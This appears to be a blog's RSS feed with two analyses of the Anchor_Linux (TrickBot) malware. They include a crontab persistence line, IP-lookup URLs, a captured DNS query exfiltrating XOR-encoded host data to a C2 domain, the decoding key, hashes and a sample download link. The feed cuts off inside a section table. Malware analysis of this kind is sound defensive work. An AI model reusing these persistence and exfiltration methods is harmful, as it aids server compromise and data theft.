<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>bizarrechaos</title>
    <description>A linux-themed Jekyll site</description>
    <link>https://bizarrechaos.com/</link>
    <atom:link href="https://bizarrechaos.com/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Sat, 03 Sep 2022 20:09:53 +0000</pubDate>
    <lastBuildDate>Sat, 03 Sep 2022 20:09:53 +0000</lastBuildDate>
    <generator>Jekyll v3.9.2</generator>
    
      <item>
        <title>Malware Code Analysis: Anchor_Linux</title>
        <description>&lt;h1 id=&quot;overview&quot;&gt;Overview&lt;/h1&gt;

&lt;p&gt;In my last post I analysed Anchor_Linux.&lt;br /&gt;
I want to get a bit deeper into the actual code of this binary and try and find where the things we saw are happening.&lt;/p&gt;

&lt;h1 id=&quot;analysis-summary&quot;&gt;Analysis Summary&lt;/h1&gt;

&lt;p&gt;To get started with analyzing this code I fired up (ghidra)[https://ghidra-sre.org/], created a new project, added the binary and double clicked it to start analysis.&lt;/p&gt;

&lt;p&gt;To start off I used the string search to look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt;.
I found the function containing the reference to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt; as well as the cronjob string itself.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/install_crontab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then followed the function references up and found the function that runs install_crontab function and the get_processes function.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/discovery_and_persistence.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In get_processes we see functions to get all of the processes from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc&lt;/code&gt;.&lt;br /&gt;
We then see a function that takes those processes and prints the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/$PID/cmdline&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/get_processes.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/get_proc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/get_proc_cli.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Following the references to the discovery_and_persistence function we get to the main function.&lt;br /&gt;
In this main function we see a lot of debug information left in by the bad actors, as well as logging functionality. It seems this malware is actively being developed.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/main_debug_log.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Further down in the main function the process forks.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/fork.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is the section where we start to see the Anchor_DNS code.&lt;br /&gt;
Digging into this function we get to a function that is building the Anchor_DNS string we saw in our previous analysis. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/anchor_linux/hostname_version/.client_id/#/LVER/1001/public_ip/payload&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/host_string.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This function builds this string piece by piece, which isn’t surprising when we see that the function that gets the hosts public IP is called from here.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/public_ip.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once the string is built it then gets sent off to a function that builds and makes the DNS request to send this data out.&lt;/p&gt;

&lt;p&gt;Furthermore we can see in the codes strings and hexdump where all these urls are.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/url_strings.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/hexdump_ip_urls.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I also looked for the smb reference that we saw in the strings from our previous analysis and found the following.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://bizarrechaos.com/attachments/c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc/smb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There appears to be functionality for smb, ftp, and numerous connectivity methods built into this malware. However at this time it does not appear that they are being used actively. In the future, this will more than likely be used for network discovery and lateral movement that can be done cross platform using Linux and Windows malware variants.&lt;/p&gt;
</description>
        <pubDate>Fri, 07 Aug 2020 23:00:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Malware-Code-Analysis-Anchor_Linux/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Malware-Code-Analysis-Anchor_Linux/</guid>
        
        <category>malware_analysis</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>Malware Analysis: Anchor_Linux</title>
        <description>&lt;h1 id=&quot;disclaimer&quot;&gt;Disclaimer&lt;/h1&gt;

&lt;p&gt;The following is a Malware analysis report for the binary with SHA-256 hash c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc.&lt;br /&gt;
The binary can be downloaded from &lt;a href=&quot;https://malshare.com/sample.php?action=detail&amp;amp;hash=7d2595904aa6feb46b3e8f3262963042&quot;&gt;MalShare&lt;/a&gt;&lt;br /&gt;
I take no responsibility for any actions you take based on this report.&lt;br /&gt;
Use caution when downloading and executing malware.&lt;br /&gt;
Use a virtual machine, be safe, have fun.&lt;/p&gt;

&lt;h1 id=&quot;opinions&quot;&gt;Opinions&lt;/h1&gt;

&lt;p&gt;In my last post I took a look at TrickBot malware. This post will focus on Anchor_Linux, otherwise known as TrickBot for Linux.&lt;/p&gt;

&lt;p&gt;As we will see in the analysis this sample functions very similarly to TrickBot on Windows, and utilizes Anchor_DNS as the C2 infrastructure.&lt;br /&gt;
This means that both this Linux malware and newer TrickBot variants on Windows can use the same C2 infrastructure.&lt;/p&gt;

&lt;p&gt;As I mentioned in my last post TrickBot will continue to evolve until it is no longer profitable.&lt;br /&gt;
Right now one of the biggest ways to turn a profit for these bad actors is crypto currency mining.&lt;br /&gt;
While mining from a single machine is not very profitable, if you are able to distribute the mining to several hundred or thousand machines, especially ones you do not have to worry about the over head on, it can become rather profitable.&lt;br /&gt;
Linux is by far the most popular OS for servers on the internet, it was only a matter of time before we saw this evolution.&lt;/p&gt;

&lt;p&gt;I only ran this sample for a short period so I did not see a stage two payload, only the initial discovery and beaconing.&lt;/p&gt;

&lt;h1 id=&quot;analysis-summary&quot;&gt;Analysis Summary&lt;/h1&gt;

&lt;p&gt;When executed this malware immediately appends a line to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt; to setup persistence.&lt;br /&gt;
This line ensures the malware is ran every minute.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*/1 ** * *root/home/remnux/Downloads/7d2595904aa6feb46b3e8f3262963042
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once persistence is setup the malware executes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uname&lt;/code&gt; to gather host details, as well as reads all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/$PID/cmdline&lt;/code&gt; files to gather info on all running processes.&lt;br /&gt;
A web request is made to an external site to gather the hosts external IP address.&lt;br /&gt;
In the strings we saw that there are several http and https options available.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://checkip.amazonaws.com
http://ipecho.net/plain
http://ipinfo.io/ip
http://api.ipify.org
http://icanhazip.com
http://myexternalip.com/raw
http://wtfismyip.com/text
http://ip.anysrc.net/plain/clientip
https://checkip.amazonaws.com
https://ipecho.net/plain
https://ipinfo.io/ip
https://api.ipify.org
https://icanhazip.com
https://myexternalip.com/raw
https://wtfismyip.com/text
https://ip.anysrc.net/plain/clientip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Based on what we saw in the pcap it seems that the list of sites is likely iterated over until a result is returned.&lt;br /&gt;
In this case the first request returned a result, and no further requests were made.&lt;/p&gt;

&lt;p&gt;Once the Discovery portion is complete the malware compiles the data in a format known to the Anchor_DNS C2 infrastructure.&lt;br /&gt;
The format is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/anchor_linux/hostname_version/.client_id/#/LVER/1001/public_ip/payload&lt;/code&gt;, which is then xor’d with 0xb9 and hex encoded.&lt;/p&gt;

&lt;p&gt;As we see in the pcap, packet 20 looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;20   9.602723 192.168.1.101 → 192.168.1.1  DNS 314 Standard query 0x1916 A 898A926AB2D9AFF7CD2FFB3BE8A8A0545BB9BA96D8D7DAD1D6CBE6D5D0D7CCC.196CBDCD4D7CCC1E6F58D888C89888888978F8EFBFF8F81FD80FDFD89FF8DFD.8E8B808B898DFF88FB8EFB8D8AF8F8F888FF968996F58D888C8988888896888.989889688898E97888C8197888C97888896FF81.biillpi.com OPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A DNS query for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;some_long_string.biillpi.com&lt;/code&gt;.&lt;br /&gt;
If we take everything before .biilpi[.]com, remove the ‘.’s, hex decode it, and xor it with a key of 0xb9 we get the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;03+Ó.`.Nt.B.Q..íâ../anchor_linux/remnux_L4150111.67BF68D9DD0F4D729204F1B7B43AAA1F/0/L4150111/1001/107.158.15.11/F8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once this initial discovery and exfiltration phase is complete the malware will continue to beacon using the Anchor_DNS framework.&lt;br /&gt;
Any proceeding payloads will be provided as answers to the queries.&lt;br /&gt;
In this run we did not see a stage two, or any subsequent payload delivery.&lt;/p&gt;

&lt;p&gt;Based upon the strings we can also see that this malware has smb capabilities.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;smb://
URL does not start with 'smb://'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Revealing the cross-platorm-ness that this malware is intending to reach.&lt;/p&gt;

&lt;h1 id=&quot;environment-and-tools&quot;&gt;Environment and tools&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://remnux.org/&quot;&gt;remnux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Binutils&quot;&gt;binutils&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pfsense.org/&quot;&gt;pFsense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tcpdump.org/&quot;&gt;tcpdump&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sysdig.com/&quot;&gt;sysdig&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/brimsec&quot;&gt;brim&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;cyberchef&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;
&lt;h1 id=&quot;static-analysis&quot;&gt;Static Analysis&lt;/h1&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Data&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Type&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ELF&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Magic&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;File Size&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;782424 bytes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MD5&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;7d2595904aa6feb46b3e8f3262963042&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SHA1&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;32f485eece997ee331809e98495641f2bddf8b3f&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SHA256&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;c721189a2b89cd279e9a033c93b8b5017dc165cba89eff5b8e1b5866195518bc&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SHA512&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;77b36c4a46ae236b0e0bf5b839239b742e437d9d1990408165be0096defd6562976a0c4158fd2c9cd61287b785ecb178864ca379437e1304d6664593ca1115c5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SSDEEP&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;12288:Y4BABjvg6LhrRQNCU48lIOmEt/csWpD361AqRNZGO/1Tkvxq:YPLhx8lIOmmUbAAqRNI&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Entry Point&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x404620&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;sections&quot;&gt;Sections&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Name&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Address&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Size&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Offset&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Type&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Flags&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;-&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NULL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;-&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.interp&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x400270&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x270&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.note.ABI-tag&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x40028c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x20&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x28c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.hash&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4002b0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x48c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x2b0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;HASH&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.dynsym&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x400740&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xed0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x740&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DYNSYM&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.dynstr&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x401610&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x5e7&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1610&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;STRTAB&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.gnu.version&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x401bf8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x13c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1bf8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GNU_versym&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.gnu.version_r&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x401d38&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xd0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1d38&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GNU_verneed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.rela.dyn&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x401e08&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x180&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1e08&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;RELA&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.rela.plt&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x401f88&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xdb0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1f88&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;RELA&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AI&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.init&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x402d38&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x17&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x2d38&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AX&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.plt&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x402d50&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x930&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x2d50&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AX&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.plt.got&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x403680&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x20&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x3680&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AX&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.text&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4036a0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x70f32&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x36a0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AX&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.fini&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4745d4&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x9&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x745d4&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AX&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.rodata&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4745e0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x2d200&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x745e0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.eh_frame_hdr&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4a17e0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x3c14&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xa17e0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.eh_frame&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4a53f8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x15594&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xa53f8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.gcc_except_table&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4ba98c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6cd&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xba98c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;A&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.tdata&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bbb78&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbbb78&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WAT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.tbss&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bbb80&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x58&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbbb7c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WAT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.init_array&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bbb80&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x18&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbbb80&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;INIT_ARRAY&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.fini_array&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bbb98&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbbb98&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FINI_ARRAY&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.data.rel.ro&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bbba0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x21b8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbbba0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
